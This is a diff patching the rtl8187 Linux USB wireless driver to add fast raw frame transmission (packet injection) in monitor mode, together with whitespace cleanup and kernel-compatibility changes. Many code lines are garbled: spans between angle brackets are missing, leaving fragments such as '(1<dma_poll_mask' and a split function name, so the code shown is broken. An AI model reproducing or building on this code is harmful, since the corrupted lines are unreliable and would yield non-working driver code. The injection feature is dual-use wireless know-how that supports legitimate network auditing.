0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,31 +1384,38 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else priv->stats.txnperr++; kfree(tx_urb->transfer_buffer); usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + { + atomic_dec(&priv->tx_np_pending); + } //rtl8180_try_wake_queue(dev,NORM_PRIORITY); } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1425,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1438,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 